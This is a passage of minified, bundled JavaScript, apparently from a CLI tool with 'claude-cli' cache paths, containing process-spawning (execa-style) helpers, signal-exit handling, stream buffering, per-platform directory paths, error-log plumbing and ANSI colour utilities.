xsK=({timedOut:A,timeout:K,errorCode:q,signal:Y,signalDescription:z,exitCode:w,isCanceled:H})=>{if(A)return`timed out after ${K} milliseconds`;if(H)return"was canceled";if(q!==void 0)return`failed with ${q}`;if(Y!==void 0)return`was killed with ${Y} (${z})`;if(w!==void 0)return`failed with exit code ${w}`;return"failed"},gNA=({stdout:A,stderr:K,all:q,error:Y,signal:z,exitCode:w,command:H,escapedCommand:J,timedOut:O,isCanceled:X,killed:$,parsed:{options:{timeout:_,cwd:G=bsK.cwd()}}})=>{w=w===null?void 0:w,z=z===null?void 0:z;let Z=z===void 0?void 0:na6[z].description,W=Y&&Y.code,j=`Command ${xsK({timedOut:O,timeout:_,errorCode:W,signal:z,signalDescription:Z,exitCode:w,isCanceled:X})}: ${H}`,M=Object.prototype.toString.call(Y)==="[object Error]",P=M?`${j} ${Y.message}`:j,f=[P,K,A].filter(Boolean).join(` `);if(M)Y.originalMessage=Y.message,Y.message=f;else Y=Error(f);if(Y.shortMessage=P,Y.command=H,Y.escapedCommand=J,Y.exitCode=w,Y.signal=z,Y.signalDescription=Z,Y.stdout=A,Y.stderr=K,Y.cwd=G,q!==void 0)Y.all=q;if("bufferedData"in Y)delete Y.bufferedData;return Y.failed=!0,Y.timedOut=Boolean(O),Y.isCanceled=X,Y.killed=$&&!O,Y};var oa6=k(()=>{ra6()});var XrA,usK=(A)=>XrA.some((K)=>A[K]!==void 0),aa6=(A)=>{if(!A)return;let{stdio:K}=A;if(K===void 0)return XrA.map((Y)=>A[Y]);if(usK(A))throw Error(`It's not possible to provide \`stdio\` in combination with one of ${XrA.map((Y)=>`\`${Y}\``).join(", ")}`);if(typeof K==="string")return K;if(!Array.isArray(K))throw TypeError(`Expected \`stdio\` to be of type \`string\` or \`Array\`, got \`${typeof K}\``);let q=Math.max(K.length,XrA.length);return Array.from({length:q},(Y,z)=>K[z])};var sa6=k(()=>{XrA=["stdin","stdout","stderr"]});var $1A;var ta6=k(()=>{$1A=[];$1A.push("SIGHUP","SIGINT","SIGTERM");if(process.platform!=="win32")$1A.push("SIGALRM","SIGABRT","SIGVTALRM","SIGXCPU","SIGXFSZ","SIGUSR2","SIGTRAP","SIGSYS","SIGQUIT","SIGIOT");if(process.platform==="linux")$1A.push("SIGIO","SIGPOLL","SIGPWR","SIGSTKFLT")});class ea6{emitted={afterExit:!1,exit:!1};listeners={afterExit:[],exit:[]};count=0;id=Math.random();constructor(){if(sR1[aR1])return sR1[aR1];BsK(sR1,aR1,{value:this,writable:!1,enumerable:!1,configurable:!1})}on(A,K){this.listeners[A].push(K)}removeListener(A,K){let q=this.listeners[A],Y=q.indexOf(K);if(Y===-1)return;if(Y===0&&q.length===1)q.length=0;else q.splice(Y,1)}emit(A,K,q){if(this.emitted[A])return!1;this.emitted[A]=!0;let Y=!1;for(let z of this.listeners[A])Y=z(K,q)===!0||Y;if(A==="exit")Y=this.emit("afterExit",K,q)||Y;return Y}}class eR1{}var $rA=(A)=>!!A&&typeof A==="object"&&typeof A.removeListener==="function"&&typeof A.emit==="function"&&typeof A.reallyExit==="function"&&typeof A.listeners==="function"&&typeof A.kill==="function"&&typeof A.pid==="number"&&typeof A.on==="function",aR1,sR1,BsK,msK=(A)=>{return{onExit(K,q){return A.onExit(K,q)},load(){return A.load()},unload(){return A.unload()}}},As6,Ks6,tR1,_rA,YXz,zXz;var Ay1=k(()=>{ta6();aR1=Symbol.for("signal-exit emitter"),sR1=globalThis,BsK=Object.defineProperty.bind(Object);As6=class As6 extends eR1{onExit(){return()=>{}}load(){}unload(){}};Ks6=class Ks6 extends eR1{#A=tR1.platform==="win32"?"SIGINT":"SIGHUP";#K=new ea6;#q;#z;#Y;#J={};#w=!1;constructor(A){super();this.#q=A,this.#J={};for(let K of $1A)this.#J[K]=()=>{let q=this.#q.listeners(K),{count:Y}=this.#K,z=A;if(typeof z.__signal_exit_emitter__==="object"&&typeof z.__signal_exit_emitter__.count==="number")Y+=z.__signal_exit_emitter__.count;if(q.length===Y){this.unload();let w=this.#K.emit("exit",null,K),H=K==="SIGHUP"?this.#A:K;if(!w)A.kill(A.pid,H)}};this.#Y=A.reallyExit,this.#z=A.emit}onExit(A,K){if(!$rA(this.#q))return()=>{};if(this.#w===!1)this.load();let q=K?.alwaysLast?"afterExit":"exit";return this.#K.on(q,A),()=>{if(this.#K.removeListener(q,A),this.#K.listeners.exit.length===0&&this.#K.listeners.afterExit.length===0)this.unload()}}load(){if(this.#w)return;this.#w=!0,this.#K.count+=1;for(let A of $1A)try{let K=this.#J[A];if(K)this.#q.on(A,K)}catch(K){}this.#q.emit=(A,...K)=>{return this.#$(A,...K)},this.#q.reallyExit=(A)=>{return this.#X(A)}}unload(){if(!this.#w)return;this.#w=!1,$1A.forEach((A)=>{let K=this.#J[A];if(!K)throw Error("Listener not defined for signal: "+A);try{this.#q.removeListener(A,K)}catch(q){}}),this.#q.emit=this.#z,this.#q.reallyExit=this.#Y,this.#K.count-=1}#X(A){if(!$rA(this.#q))return 0;return this.#q.exitCode=A||0,this.#K.emit("exit",this.#q.exitCode,null),this.#Y.call(this.#q,this.#q.exitCode)}#$(A,...K){let q=this.#z;if(A==="exit"&&$rA(this.#q)){if(typeof K[0]==="number")this.#q.exitCode=K[0];let Y=q.call(this.#q,A,...K);return this.#K.emit("exit",this.#q.exitCode,null),Y}else return q.call(this.#q,A,...K)}};tR1=globalThis.process,{onExit:_rA,load:YXz,unload:zXz}=msK($rA(tR1)?new Ks6(tR1):new As6)});import gsK from"node:os";var FsK=5000,qs6=(A,K="SIGTERM",q={})=>{let Y=A(K);return QsK(A,K,q,Y),Y},QsK=(A,K,q,Y)=>{if(!UsK(K,q,Y))return;let z=dsK(q),w=setTimeout(()=>{A("SIGKILL")},z);if(w.unref)w.unref()},UsK=(A,{forceKillAfterTimeout:K},q)=>psK(A)&&K!==!1&&q,psK=(A)=>A===gsK.constants.signals.SIGTERM||typeof A==="string"&&A.toUpperCase()==="SIGTERM",dsK=({forceKillAfterTimeout:A=!0})=>{if(A===!0)return FsK;if(!Number.isFinite(A)||A<0)throw TypeError(`Expected the \`forceKillAfterTimeout\` option to be a non-negative integer, got \`${A}\` (${typeof A})`);return A},Ys6=(A,K)=>{if(A.kill())K.isCanceled=!0},csK=(A,K,q)=>{A.kill(K),q(Object.assign(Error("Timed out"),{timedOut:!0,signal:K}))},zs6=(A,{timeout:K,killSignal:q="SIGTERM"},Y)=>{if(K===0||K===void 0)return Y;let z,w=new Promise((J,O)=>{z=setTimeout(()=>{csK(A,q,O)},K)}),H=Y.finally(()=>{clearTimeout(z)});return Promise.race([w,H])},ws6=({timeout:A})=>{if(A!==void 0&&(!Number.isFinite(A)||A<0))throw TypeError(`Expected the \`timeout\` option to be a non-negative integer, got \`${A}\` (${typeof A})`)},Hs6=async(A,{cleanup:K,detached:q},Y)=>{if(!K||q)return Y;let z=_rA(()=>{A.kill()});return Y.finally(()=>{z()})};var Js6=k(()=>{Ay1()});function GrA(A){return A!==null&&typeof A==="object"&&typeof A.pipe==="function"}function Ky1(A){return GrA(A)&&A.writable!==!1&&typeof A._write==="function"&&typeof A._writableState==="object"}import{createWriteStream as lsK}from"node:fs";import{ChildProcess as isK}from"node:child_process";var nsK=(A)=>A instanceof isK&&typeof A.then==="function",qy1=(A,K,q)=>{if(typeof q==="string")return A[K].pipe(lsK(q)),A;if(Ky1(q))return A[K].pipe(q),A;if(!nsK(q))throw TypeError("The second argument must be a string, a stream or an Execa child process.");if(!Ky1(q.stdin))throw TypeError("The target child process's stdin must be available.");return A[K].pipe(q.stdin),q},Os6=(A)=>{if(A.stdout!==null)A.pipeStdout=qy1.bind(void 0,A,"stdout");if(A.stderr!==null)A.pipeStderr=qy1.bind(void 0,A,"stderr");if(A.all!==void 0)A.pipeAll=qy1.bind(void 0,A,"all")};var Xs6=()=>{};var FNA=async(A,{init:K,convertChunk:q,getSize:Y,truncateChunk:z,addChunk:w,getFinalChunk:H,finalize:J},{maxBuffer:O=Number.POSITIVE_INFINITY}={})=>{if(!osK(A))throw Error("The first argument must be a Readable, a ReadableStream, or an async iterable.");let X=K();X.length=0;try{for await(let $ of A){let _=asK($),G=q[_]($,X);Gs6({convertedChunk:G,state:X,getSize:Y,truncateChunk:z,addChunk:w,maxBuffer:O})}return rsK({state:X,convertChunk:q,getSize:Y,truncateChunk:z,addChunk:w,getFinalChunk:H,maxBuffer:O}),J(X)}catch($){throw $.bufferedData=J(X),$}},rsK=({state:A,getSize:K,truncateChunk:q,addChunk:Y,getFinalChunk:z,maxBuffer:w})=>{let H=z(A);if(H!==void 0)Gs6({convertedChunk:H,state:A,getSize:K,truncateChunk:q,addChunk:Y,maxBuffer:w})},Gs6=({convertedChunk:A,state:K,getSize:q,truncateChunk:Y,addChunk:z,maxBuffer:w})=>{let H=q(A),J=K.length+H;if(J<=w){$s6(A,K,z,J);return}let O=Y(A,w-K.length);if(O!==void 0)$s6(O,K,z,w);throw new Yy1},$s6=(A,K,q,Y)=>{K.contents=q(A,K,Y),K.length=Y},osK=(A)=>typeof A==="object"&&A!==null&&typeof A[Symbol.asyncIterator]==="function",asK=(A)=>{let K=typeof A;if(K==="string")return"string";if(K!=="object"||A===null)return"others";if(globalThis.Buffer?.isBuffer(A))return"buffer";let q=_s6.call(A);if(q==="[object ArrayBuffer]")return"arrayBuffer";if(q==="[object DataView]")return"dataView";if(Number.isInteger(A.byteLength)&&Number.isInteger(A.byteOffset)&&_s6.call(A.buffer)==="[object ArrayBuffer]")return"typedArray";return"others"},_s6,Yy1;var QNA=k(()=>{({toString:_s6}=Object.prototype);Yy1=class Yy1 extends Error{name="MaxBufferError";constructor(){super("maxBuffer exceeded")}}});var zy1=(A)=>A,wy1=()=>{return},Hy1=({contents:A})=>A,ZrA=(A)=>{throw Error(`Streams in object mode are not supported: ${String(A)}`)},WrA=(A)=>A.length;var Zs6=k(()=>{QNA()});async function Jy1(A,K){return FNA(A,wtK,K)}var ssK=()=>({contents:new ArrayBuffer(0)}),tsK=(A)=>esK.encode(A),esK,Ws6=(A)=>new Uint8Array(A),Ds6=(A)=>new Uint8Array(A.buffer,A.byteOffset,A.byteLength),AtK=(A,K)=>A.slice(0,K),KtK=(A,{contents:K,length:q},Y)=>{let z=Ps6()?YtK(K,Y):qtK(K,Y);return new Uint8Array(z).set(A,q),z},qtK=(A,K)=>{if(K<=A.byteLength)return A;let q=new ArrayBuffer(Ms6(K));return new Uint8Array(q).set(new Uint8Array(A),0),q},YtK=(A,K)=>{if(K<=A.maxByteLength)return A.resize(K),A;let q=new ArrayBuffer(K,{maxByteLength:Ms6(K)});return new Uint8Array(q).set(new Uint8Array(A),0),q},Ms6=(A)=>js6**Math.ceil(Math.log(A)/Math.log(js6)),js6=2,ztK=({contents:A,length:K})=>Ps6()?A:A.slice(0,K),Ps6=()=>("resize"in ArrayBuffer.prototype),wtK;var Oy1=k(()=>{QNA();esK=new TextEncoder,wtK={init:ssK,convertChunk:{string:tsK,buffer:Ws6,arrayBuffer:Ws6,dataView:Ds6,typedArray:Ds6,others:ZrA},getSize:WrA,truncateChunk:AtK,addChunk:KtK,getFinalChunk:wy1,finalize:ztK}});async function DrA(A,K){if(!("Buffer"in globalThis))throw Error("getStreamAsBuffer() is only supported in Node.js");try{return Vs6(await Jy1(A,K))}catch(q){if(q.bufferedData!==void 0)q.bufferedData=Vs6(q.bufferedData);throw q}}var Vs6=(A)=>globalThis.Buffer.from(A);var fs6=k(()=>{Oy1()});async function Xy1(A,K){return FNA(A,$tK,K)}var HtK=()=>({contents:"",textDecoder:new TextDecoder}),jrA=(A,{textDecoder:K})=>K.decode(A,{stream:!0}),JtK=(A,{contents:K})=>K+A,OtK=(A,K)=>A.slice(0,K),XtK=({textDecoder:A})=>{let K=A.decode();return K===""?void 0:K},$tK;var Ns6=k(()=>{QNA();$tK={init:HtK,convertChunk:{string:zy1,buffer:jrA,arrayBuffer:jrA,dataView:jrA,typedArray:jrA,others:ZrA},getSize:WrA,truncateChunk:OtK,addChunk:JtK,getFinalChunk:XtK,finalize:Hy1}});var Ts6=k(()=>{Zs6();Oy1();fs6();Ns6();QNA()});var Es6=v((xXz,vs6)=>{var{PassThrough:_tK}=CA("stream");vs6.exports=function(){var A=[],K=new _tK({objectMode:!0});return K.setMaxListeners(0),K.add=q,K.isEmpty=Y,K.on("unpipe",z),Array.prototype.slice.call(arguments).forEach(q),K;function q(w){if(Array.isArray(w))return w.forEach(q),this;return A.push(w),w.once("end",z.bind(null,w)),w.once("error",K.emit.bind(K,"error")),w.pipe(K,{end:!1}),this}function Y(){return A.length==0}function z(w){if(A=A.filter(function(H){return H!==w}),!A.length&&K.readable)K.end()}}});import{createReadStream as GtK,readFileSync as ZtK}from"node:fs";import{setTimeout as WtK}from"node:timers/promises";var ks6,Cs6=(A)=>{if(A!==void 0)throw TypeError("The `input` and `inputFile` options cannot be both set.")},DtK=({input:A,inputFile:K})=>{if(typeof K!=="string")return A;return Cs6(A),ZtK(K)},Ls6=(A)=>{let K=DtK(A);if(GrA(K))throw TypeError("The `input` option cannot be a stream in sync mode");return K},jtK=({input:A,inputFile:K})=>{if(typeof K!=="string")return A;return Cs6(A),GtK(K)},Rs6=(A,K)=>{let q=jtK(K);if(q===void 0)return;if(GrA(q))q.pipe(A.stdin);else A.stdin.end(q)},ys6=(A,{all:K})=>{if(!K||!A.stdout&&!A.stderr)return;let q=ks6.default();if(A.stdout)q.add(A.stdout);if(A.stderr)q.add(A.stderr);return q},$y1=async(A,K)=>{if(!A||K===void 0)return;await WtK(0),A.destroy();try{return await K}catch(q){return q.bufferedData}},_y1=(A,{encoding:K,buffer:q,maxBuffer:Y})=>{if(!A||!q)return;if(K==="utf8"||K==="utf-8")return Xy1(A,{maxBuffer:Y});if(K===null||K==="buffer")return DrA(A,{maxBuffer:Y});return MtK(A,Y,K)},MtK=async(A,K,q)=>{return(await DrA(A,{maxBuffer:K})).toString(q)},Is6=async({stdout:A,stderr:K,all:q},{encoding:Y,buffer:z,maxBuffer:w},H)=>{let J=_y1(A,{encoding:Y,buffer:z,maxBuffer:w}),O=_y1(K,{encoding:Y,buffer:z,maxBuffer:w}),X=_y1(q,{encoding:Y,buffer:z,maxBuffer:w*2});try{return await Promise.all([H,J,O,X])}catch($){return Promise.all([{error:$,signal:$.signal,timedOut:$.timedOut},$y1(A,J),$y1(K,O),$y1(q,X)])}};var Ss6=k(()=>{Ts6();ks6=o(Es6(),1)});var PtK,VtK,Gy1=(A,K)=>{for(let[q,Y]of VtK){let z=typeof K==="function"?(...w)=>Reflect.apply(Y.value,K(),w):Y.value.bind(K);Reflect.defineProperty(A,q,{...Y,value:z})}},hs6=(A)=>new Promise((K,q)=>{if(A.on("exit",(Y,z)=>{K({exitCode:Y,signal:z})}),A.on("error",(Y)=>{q(Y)}),A.stdin)A.stdin.on("error",(Y)=>{q(Y)})});var bs6=k(()=>{PtK=(async()=>{})().constructor.prototype,VtK=["then","catch","finally"].map((A)=>[A,Reflect.getOwnPropertyDescriptor(PtK,A)])});import{Buffer as ftK}from"node:buffer";import{ChildProcess as NtK}from"node:child_process";var Bs6=(A,K=[])=>{if(!Array.isArray(K))return[A];return[A,...K]},TtK,vtK=(A)=>{if(typeof A!=="string"||TtK.test(A))return A;return`"${A.replaceAll('"',"\\\"")}"`},Zy1=(A,K)=>Bs6(A,K).join(" "),Wy1=(A,K)=>Bs6(A,K).map((q)=>vtK(q)).join(" "),EtK,xs6=(A)=>{let K=typeof A;if(K==="string")return A;if(K==="number")return String(A);if(K==="object"&&A!==null&&!(A instanceof NtK)&&"stdout"in A){let q=typeof A.stdout;if(q==="string")return A.stdout;if(ftK.isBuffer(A.stdout))return A.stdout.toString();throw TypeError(`Unexpected "${q}" stdout in template expression`)}throw TypeError(`Unexpected "${K}" in template expression`)},us6=(A,K,q)=>q||A.length===0||K.length===0?[...A,...K]:[...A.slice(0,-1),`${A.at(-1)}${K[0]}`,...K.slice(1)],ktK=({templates:A,expressions:K,tokens:q,index:Y,template:z})=>{let w=z??A.raw[Y],H=w.split(EtK).filter(Boolean),J=us6(q,H,w.startsWith(" "));if(Y===K.length)return J;let O=K[Y],X=Array.isArray(O)?O.map(($)=>xs6($)):[xs6(O)];return us6(J,X,w.endsWith(" "))},Dy1=(A,K)=>{let q=[];for(let[Y,z]of A.entries())q=ktK({templates:A,expressions:K,tokens:q,index:Y,template:z});return q};var ms6=k(()=>{TtK=/^[\w.-]+$/,EtK=/ +/g});import{debuglog as CtK}from"node:util";import LtK from"node:process";var gs6,MrA=(A,K)=>String(A).padStart(K,"0"),RtK=()=>{let A=new Date;return`${MrA(A.getHours(),2)}:${MrA(A.getMinutes(),2)}:${MrA(A.getSeconds(),2)}.${MrA(A.getMilliseconds(),3)}`},jy1=(A,{verbose:K})=>{if(!K)return;LtK.stderr.write(`[${RtK()}] ${A} `)};var Fs6=k(()=>{gs6=CtK("execa").enabled});import{Buffer as ytK}from"node:buffer";import ItK from"node:path";import My1 from"node:child_process";import PrA from"node:process";function wY(A,K,q){let Y=ps6(A,K,q),z=Zy1(A,K),w=Wy1(A,K);jy1(w,Y.options),ws6(Y.options);let H;try{H=My1.spawn(Y.file,Y.args,Y.options)}catch(Z){let W=new My1.ChildProcess,D=Promise.reject(gNA({error:Z,stdout:"",stderr:"",all:"",command:z,escapedCommand:w,parsed:Y,timedOut:!1,isCanceled:!1,killed:!1}));return Gy1(W,D),W}let J=hs6(H),O=zs6(H,Y.options,J),X=Hs6(H,Y.options,O),$={isCanceled:!1};H.kill=qs6.bind(null,H.kill.bind(H)),H.cancel=Ys6.bind(null,H,$);let G=Qa6(async()=>{let[{error:Z,exitCode:W,signal:D,timedOut:j},M,P,f]=await Is6(H,Y.options,X),N=UNA(Y.options,M),T=UNA(Y.options,P),C=UNA(Y.options,f);if(Z||W!==0||D!==null){let R=gNA({error:Z,exitCode:W,signal:D,stdout:N,stderr:T,all:C,command:z,escapedCommand:w,parsed:Y,timedOut:j,isCanceled:$.isCanceled||(Y.options.signal?Y.options.signal.aborted:!1),killed:H.killed});if(!Y.options.reject)return R;throw R}return{command:z,escapedCommand:w,exitCode:0,stdout:N,stderr:T,all:C,failed:!1,timedOut:!1,isCanceled:!1,killed:!1}});return Rs6(H,Y.options),H.all=ys6(H,Y.options),Os6(H),Gy1(H,G),H}function TzA(A,K,q){let Y=ps6(A,K,q),z=Zy1(A,K),w=Wy1(A,K);jy1(w,Y.options);let H=Ls6(Y.options),J;try{J=My1.spawnSync(Y.file,Y.args,{...Y.options,input:H})}catch($){throw gNA({error:$,stdout:"",stderr:"",all:"",command:z,escapedCommand:w,parsed:Y,timedOut:!1,isCanceled:!1,killed:!1})}let O=UNA(Y.options,J.stdout,J.error),X=UNA(Y.options,J.stderr,J.error);if(J.error||J.status!==0||J.signal!==null){let $=gNA({stdout:O,stderr:X,error:J.error,signal:J.signal,exitCode:J.status,command:z,escapedCommand:w,parsed:Y,timedOut:J.error&&J.error.code==="ETIMEDOUT",isCanceled:!1,killed:J.signal!==null});if(!Y.options.reject)return $;throw $}return{command:z,escapedCommand:w,exitCode:0,stdout:O,stderr:X,failed:!1,timedOut:!1,isCanceled:!1,killed:!1}}function ds6(A){function K(q,...Y){if(!Array.isArray(q))return ds6({...A,...q});let[z,...w]=Dy1(q,Y);return wY(z,w,Qs6(A))}return K.sync=(q,...Y)=>{if(!Array.isArray(q))throw TypeError("Please use $(options).sync`command` instead of $.sync(options)`command`.");let[z,...w]=Dy1(q,Y);return TzA(z,w,Qs6(A))},K}var Us6,StK=1e8,htK=({env:A,extendEnv:K,preferLocal:q,localDir:Y,execPath:z})=>{let w=K?{...PrA.env,...A}:A;if(q)return Ba6({env:w,cwd:Y,execPath:z});return w},ps6=(A,K,q={})=>{let Y=Us6.default._parse(A,K,q);if(A=Y.command,K=Y.args,q=Y.options,q={maxBuffer:StK,buffer:!0,stripFinalNewline:!0,extendEnv:!0,preferLocal:!1,localDir:q.cwd||PrA.cwd(),execPath:PrA.execPath,encoding:"utf8",reject:!0,cleanup:!0,all:!1,windowsHide:!0,verbose:gs6,...q},q.env=htK(q),q.stdio=aa6(q),PrA.platform==="win32"&&ItK.basename(A,".exe")==="cmd")K.unshift("/q");return{file:A,args:K,options:q,parsed:Y}},UNA=(A,K,q)=>{if(typeof K!=="string"&&!ytK.isBuffer(K))return q===void 0?void 0:"";if(A.stripFinalNewline)return iR1(K);return K},btK=({input:A,inputFile:K,stdio:q})=>A===void 0&&K===void 0&&q===void 0?{stdin:"inherit"}:{},Qs6=(A={})=>({preferLocal:!0,...btK(A),...A}),$$z;var rP=k(()=>{ma6();Ua6();oa6();sa6();Js6();Xs6();Ss6();bs6();ms6();Fs6();Us6=o(lR1(),1);$$z=ds6()});function VrA(){return bg()}function x1(){try{return VrA()}catch{return V8()}}var y4=k(()=>{q6()});function vzA(A){return A.sort((K,q)=>{let Y=q.modified.getTime()-K.modified.getTime();if(Y!==0)return Y;let z=q.created.getTime()-K.created.getTime();if(z!==0)return z;return K.created.getTime()-q.created.getTime()})}import tJ from"node:path";import cs6 from"node:os";import Py1 from"node:process";function fy1(A,{suffix:K="nodejs"}={}){if(typeof A!=="string")throw TypeError(`Expected a string, got ${typeof A}`);if(K)A+=`-${K}`;if(Py1.platform==="darwin")return xtK(A);if(Py1.platform==="win32")return utK(A);return BtK(A)}var Tl,Vy1,EzA,xtK=(A)=>{let K=tJ.join(Tl,"Library");return{data:tJ.join(K,"Application Support",A),config:tJ.join(K,"Preferences",A),cache:tJ.join(K,"Caches",A),log:tJ.join(K,"Logs",A),temp:tJ.join(Vy1,A)}},utK=(A)=>{let K=EzA.APPDATA||tJ.join(Tl,"AppData","Roaming"),q=EzA.LOCALAPPDATA||tJ.join(Tl,"AppData","Local");return{data:tJ.join(q,A,"Data"),config:tJ.join(K,A,"Config"),cache:tJ.join(q,A,"Cache"),log:tJ.join(q,A,"Log"),temp:tJ.join(Vy1,A)}},BtK=(A)=>{let K=tJ.basename(Tl);return{data:tJ.join(EzA.XDG_DATA_HOME||tJ.join(Tl,".local","share"),A),config:tJ.join(EzA.XDG_CONFIG_HOME||tJ.join(Tl,".config"),A),cache:tJ.join(EzA.XDG_CACHE_HOME||tJ.join(Tl,".cache"),A),log:tJ.join(EzA.XDG_STATE_HOME||tJ.join(Tl,".local","state"),A),temp:tJ.join(Vy1,K,A)}};var ls6=k(()=>{Tl=cs6.homedir(),Vy1=cs6.tmpdir(),{env:EzA}=Py1});import{join as frA}from"path";function is6(A){return A.replace(/[^a-zA-Z0-9]/g,"-")}function TrA(A){return is6(A)}var NrA,vl;var pNA=k(()=>{ls6();e6();NrA=fy1("claude-cli");vl={baseLogs:()=>frA(NrA.cache,TrA(BA().cwd())),errors:()=>frA(NrA.cache,TrA(BA().cwd()),"errors"),messages:()=>frA(NrA.cache,TrA(BA().cwd()),"messages"),mcpLogs:(A)=>frA(NrA.cache,TrA(BA().cwd()),`mcp-logs-${is6(A)}`)}});var hN="command-name",tW="command-message",ns6="bash-stdout",rs6="bash-stderr",kzA="local-command-stdout",vrA="local-command-stderr",Ny1="local-command-caveat",El="tick",g0="task-notification",oP="task-id",ErA="task-type",vR="output-file",WZ="status",DZ="summary",F0="teammate-message",CzA,LzA;var wz=k(()=>{CzA=["help","-h","--help"],LzA=["list","show","display","current","view","get","check","describe","print","version","about","status","?"]});function kl(A,K){let q=A.firstPrompt?.startsWith(`<${El}>`),Y=A.firstPrompt&&!q;return A.agentName||A.customTitle||A.summary||(Y?A.firstPrompt:void 0)||K||(q?"Autonomous session":"")||""}function os6(A){return A.toISOString().replace(/[:.]/g,"-")}function gtK(A){if(krA.length>=mtK)krA.shift();krA.push(A)}function as6(A){if(ER!==null)throw Error("Error log sink already attached - cannot attach more than once");if(ER=A,RzA.length>0){let K=[...RzA];RzA.length=0;for(let q of K)switch(q.type){case"error":ER.logError(q.error);break;case"mcpError":ER.logMCPError(q.serverName,q.error);break;case"mcpDebug":ER.logMCPDebug(q.serverName,q.message);break}}}function KA(A){try{if(P1(process.env.CLAUDE_CODE_USE_BEDROCK)||P1(process.env.CLAUDE_CODE_USE_VERTEX)||P1(process.env.CLAUDE_CODE_USE_FOUNDRY)||process.env.DISABLE_ERROR_REPORTING||process.env.CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC)return;let q={error:A.stack||A.message,timestamp:new Date().toISOString()};if(gtK(q),ER===null){RzA.push({type:"error",error:A});return}ER.logError(A)}catch{}}function yzA(){return[...krA]}function O2(A,K){try{if(ER===null){RzA.push({type:"mcpError",serverName:A,error:K});return}ER.logMCPError(A,K)}catch{}}function b6(A,K){try{if(ER===null){RzA.push({type:"mcpDebug",serverName:A,message:K});return}ER.logMCPDebug(A,K)}catch{}}function Ty1(A,K){if(!K||K!=="repl_main_thread")return;let q=no6(A);Pr6(q)}var mtK=100,krA,RzA,ER=null,b$z;var C1=k(()=>{q6();pNA();e6();p7();l6();b1();wz();krA=[];RzA=[];b$z=z6(()=>{return process.argv.includes("--hard-fail")})});function eW(A,K,q=10*ts6*ss6){let Y;if(K===void 0)Y={};else if(K instanceof AbortSignal)Y={abortSignal:K,timeout:q};else Y=K;let{abortSignal:z,timeout:w=10*ts6*ss6,input:H,stdio:J=["ignore","pipe","pipe"]}=Y;z?.throwIfAborted();let O=performance.now();try{let X=TzA(A,{env:process.env,maxBuffer:1e6,timeout:w,cwd:x1(),stdio:J,shell:!0,reject:!1,input:H});if(performance.now()-O>ug,!X.stdout)return null;return X.stdout.trim()||null}catch{return performance.now()-O>ug,null}}var ss6=1000,ts6=60;var vy1=k(()=>{rP();y4();Z1();b1();q6()});function R6(A,K,q={timeout:10*ky1*Ey1,preserveOutputOnError:!0,useCwd:!0}){return A7(A,K,{abortSignal:q.abortSignal,timeout:q.timeout,preserveOutputOnError:q.preserveOutputOnError,cwd:q.useCwd?x1():void 0,env:q.env,stdin:q.stdin})}function FtK(A,K){if(A.shortMessage)return A.shortMessage;if(typeof A.signal==="string")return A.signal;return String(K)}function A7(A,K,{abortSignal:q,timeout:Y=10*ky1*Ey1,preserveOutputOnError:z=!0,cwd:w,env:H,maxBuffer:J,shell:O,stdin:X}={timeout:10*ky1*Ey1,preserveOutputOnError:!0,maxBuffer:1e6}){return new Promise(($)=>{wY(A,K,{maxBuffer:J,signal:q,timeout:Y,cwd:w,env:H,shell:O,stdin:X,reject:!1}).then((_)=>{if(_.failed)if(z){let G=_.exitCode??1;$({stdout:_.stdout||"",stderr:_.stderr||"",code:G,error:FtK(_,G)})}else $({stdout:"",stderr:"",code:_.exitCode??1});else $({stdout:_.stdout,stderr:_.stderr,code:0})}).catch((_)=>{KA(_),$({stdout:"",stderr:"",code:1})})})}var Ey1=1000,ky1=60;var CK=k(()=>{rP();y4();C1();vy1()});function ptK(){let A=new Map;for(let[K,q]of Object.entries(OJ)){for(let[Y,z]of Object.entries(q))OJ[Y]={open:`\x1B[${z[0]}m`,close:`\x1B[${z[1]}m`},q[Y]=OJ[Y],A.set(z[0],z[1]);Object.defineProperty(OJ,K,{value:q,enumerable:!1})}return Object.defineProperty(OJ,"codes",{value:A,enumerable:!1}),OJ.color.close="\x1B[39m",OJ.bgColor.close="\x1B[49m",OJ.color.ansi=es6(),OJ.color.ansi256=At6(),OJ.color.ansi16m=Kt6(),OJ.bgColor.ansi=es6(10),OJ.bgColor.ansi256=At6(10),OJ.bgColor.ansi16m=Kt6(10),Object.defineProperties(OJ,{rgbToAnsi256:{value(K,q,Y){if(K===q&&q===Y){if(K<8)return 16;if(K>248)return 231;return Math.round((K-8)/247*24)+232}return 16+36*Math.round(K/255*5)+6*Math.round(q/255*5)+Math.round(Y/255*5)},enumerable:!1},hexToRgb:{value(K){let q=/[a-f\d]{6}|[a-f\d]{3}/i.exec(K.toString(16));if(!q)return[0,0,0];let[Y]=q;if(Y.length===3)Y=[...Y].map((w)=>w+w).join("");let z=Number.parseInt(Y,16);return[z>>16&255,z>>8&255,z&255]},enumerable:!1},hexToAnsi256:{value:(K)=>OJ.rgbToAnsi256(...OJ.hexToRgb(K)),enumerable:!1},ansi256ToAnsi:{value(K){if(K<8)return 30+K;if(K<16)return 90+(K-8);let q,Y,z;if(K>=232)q=((K-232)*10+8)/255,Y=q,z=q;else{K-=16;let J=K%36;q=Math.floor(K/36)/5,Y=Math.floor(J/6)/5,z=J%6/5}let w=Math.max(q,Y,z)*2;if(w===0)return 30;let H=30+(Math.round(z)<<2|Math.round(Y)<<1|Math.round(q));if(w===2)H+=60;return H},enumerable:!1},rgbToAnsi:{value:(K,q,Y)=>OJ.ansi256ToAnsi(OJ.rgbToAnsi256(K,q,Y)),enumerable:!1},hexToAnsi:{value:(K)=>OJ.ansi256ToAnsi(OJ.hexToAnsi256(K)),enumerable:!1}}),OJ}var es6=(A=0)=>(K)=>`\x1B[${K+A}m`,At6=(A=0)=>(K)=>`\x1B[${38+A};5;${K}m`,Kt6=(A=0)=>(K,q,Y)=>`\x1B[${38+A};2;${K};${q};${Y}m`,OJ,o$z,QtK,UtK,a$z,dtK,kR;var 